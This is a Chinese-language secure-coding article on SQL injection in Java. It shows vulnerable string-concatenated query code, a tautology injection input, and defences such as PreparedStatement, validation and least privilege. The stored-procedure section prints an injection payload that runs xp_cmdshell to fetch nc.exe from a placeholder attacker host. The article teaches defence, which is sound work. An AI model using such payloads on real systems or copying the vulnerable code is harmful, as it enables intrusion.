1. 程式人生 > >java安全-SQL注入漏洞

java安全-SQL注入漏洞

漏洞簡介

        SQL 注入漏洞在以下情況下出現:
  1. 資料從一個不可信賴的資料來源進入程式。 2. 資料用於動態地構造一個 SQL 查詢。
String userName = ctx.getAuthenticatedUserName();
String itemName = request.getParameter("itemName");
String query = "SELECT * FROM items WHERE owner+
 ='"+ userName + "' AND itemname = '"+ itemName + "'";
ResultSet rs = stmt.execute(query);

 
        例:以下程式碼動態地構造並執行了一個SQL 查詢,該查詢可以搜尋與指定名稱相匹的項。該查詢僅會顯示條目所有者與被授予許可權的當前使用者一致的條目。這一程式碼所執行的查詢遵循如下方式:
SELECT * FROM items
WHERE owner = <userName>
AND itemname = <itemName>;
        但是,由於這個查詢是動態構造的,由一個常數基查詢字串和一個使用者輸入字串連線而成,因此只有在 itemName 不包含單引號字元時,才會正確執行這一查詢。如果一個使用者名稱為 hacker 的攻擊者在 itemName 中輸入字串“name' OR 'a'='a”,那麼構造的查詢就會變成:
SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';

        附加條件 OR 'a'='a' 會使 where 從句永遠評估為 true,因此該查詢在邏輯上將等同於一個更為簡化的查詢:

SELECT * FROM items;

        這種查詢的簡化會使攻擊者繞過查詢只返回條目所有者與被授予許可權的當前使用者一致的要求;而現在的查詢則會直接返回所有儲存在 items 表中的條目,不論它們的所有者是誰。 漏洞防範     通常SQL注入通常是比較好預防的,但切忌不要存在僥倖心理,因為攻擊者往往都是處在主動位置。
      措施1:引數化執行語句(也稱為事先準備好的語句PreparedStatement)     禁止通過字串串聯直接使用使用者輸入構造可執行 SQL 語句。全面使用引數化執行語句,對於java語言,使用預編譯語句PreparedStatement代替直接的語句執行Statement。
    說明:使用預編譯語句PreparedStatement,型別化 SQL 引數將檢查輸入的型別,確保輸入值在資料庫中當作字串、數字、日期或boolean等值而不是可執行程式碼進行處理,從而防止SQL注入攻擊。
      措施2:對輸入引數的型別和長度進行嚴格校驗     校驗輸入資料的長度:如果輸入資料是字串,必須校驗字串的長度是否符合要求,長度校驗會加大攻擊者實施攻擊的難度。     校驗輸入資料的範圍:如果輸入資料是數值,必須校驗數值的範圍是否正確,如年齡應該為0~150之間的正整數。     校驗輸入資料的型別:如果僅允許輸入的資料是數字,那麼就不應該接收字元型的資料。     措施3:進行縱深防禦      強大的安全辦法應該採用縱深的防禦措施,如果一旦前線防禦失效,可以提供額外的保護。在攻擊後端資料庫的上下文過程中,有三個層次的進一步防禦需要實施。
  A、應用程式在訪問資料庫時應使用盡可能低級別的特權;
       說明:一般來說,應用程式並不需要DBA 級別的許可權,通常它只需要讀取和寫入資料。在安全的危急情況下,應用程式可能會採用不同的資料庫帳戶實行不同的操作。舉例來說,如果90%的資料庫查詢只需要讀訪問,則這些操作都可以用一個沒有寫許可權的帳戶來執行。如果某個特定的查詢只需要讀取的一個子集資料(例如命令表,而不是使用者帳戶表),則使用一個具有相應訪問級別許可權的帳戶。如果這種做法在整個應用程式中強制執行,則任何可能殘留的SQL 注入漏洞的影響將大大減少。
  B、資料庫中要去掉所有的無用的預設功能;
       說明:只要有可能,不必要的功能應刪除或禁用。即使在某些情況下,熟練的和堅定的攻擊者可以通過其他手段生成一些新功能,但是資料庫的小範圍凍結成為攻擊者的障礙。
  C、資料庫的補丁的更新要進行評估且及時更新;   說明:資料庫本身的漏洞可能成為攻擊者利用的物件。補丁要及時更新但是一些不必要的補丁或外掛或許方便了攻擊者。 防禦誤區 1.通過兩個單引號過濾所有的使用者輸入的單引號,但是在如下兩種情況下失效
     A、如果使用者提供的數字資料嵌入到SQL 查詢中,這些資料通常不是封裝在單引號中的。因此,攻擊者可以不用提供單引號,擺脫資料上下文關係而輸入任意的SQL 語句。    B、在二次SQL 注入攻擊中,最初插入資料庫中被安全過濾的資料隨後從資料庫中讀取然後傳回,在重用資料時,最初使用兩個單引號的地方將恢復最初的形式。
  2. 對資料庫操作使用儲存過程
      當然使用儲存過程能避免很多安全問題,也能大大提高效能,但是卻無法防止SQL注入漏洞。     A、在Oracle 中,一個寫得不好的儲存程式可能在程式碼中包含SQL 注入漏洞,在儲存程式中建立SQL 語句和在其它地方一樣,會出現類似的安全問題。     B、即使使用的是一個強大的儲存程式,如果使用使用者提供的輸入,以不安全的方式呼叫儲存程式,SQL 注入漏洞仍然會產生。     C、例如,假設在一個儲存程式中實現使用者註冊功能, 呼叫語句如下: exec sp_RegisterUser 'joe', 'secret',這個語句可能就跟一個簡單的INSERT語句一樣易受攻擊。例如,攻擊者可以提供以下的密碼:foo';exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--將導致應用程式執行以下的批查詢: exec sp_RegisterUser 'joe' , 'foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'從而使用儲存程式將毫無作用。